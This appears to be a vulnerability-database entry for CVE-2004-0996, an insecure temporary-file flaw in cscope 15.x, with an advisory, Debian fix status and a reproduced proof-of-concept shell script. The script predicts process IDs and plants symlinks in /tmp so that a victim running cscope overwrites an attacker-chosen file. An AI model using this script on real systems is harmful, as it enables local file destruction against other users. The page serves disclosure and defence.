CVE-2004-0996
Description
main.c in cscope 15-4 and 15-5 creates temporary files with predictable filenames, which allows local users to overwrite arbitrary files via a symlink attack.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Cscope 13.0/15.x - Insecure Temporary File Creation (1)
source: https://www.securityfocus.com/bid/11697/info
Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it.
During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it.
Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application.
Versions up to and including Cscope 15.5 are reported vulnerable.
#!/bin/sh
#################################################################
# RXcscope_proof.sh
# brute force case baby
# cscope advisory and exploit by Gangstuck / Psirac <research@rexotec.com>
#################################################################
HOWM=30
CURR=`ps | grep ps | awk '{print $1}'`
NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1`
LAST=`expr $NEXT + $HOWM`
echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\
" [versions 15.5 and minor]\n"\
" Gangstuck / Psirac\n"\
" <research@rexotec.com>\n\n"
if [ $# -lt 1 ]; then
echo "Usage: $0 <file1> [number_of_guesses]"
exit 1
fi
rm -f /tmp/cscope*
echo "Probed next process id ........ [${NEXT}]"
while [ ! "$NEXT" -eq "$LAST" ]; do
ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1`
ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1`
done
Cscope 13.0/15.x - Insecure Temporary File Creation (2)
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 15.5-1.1 |
| sid | Fixed | 15.5-1.1 |
| forky | Fixed | 15.5-1.1 |
| bullseye | Fixed | 15.5-1.1 |
| bookworm | Fixed | 15.5-1.1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.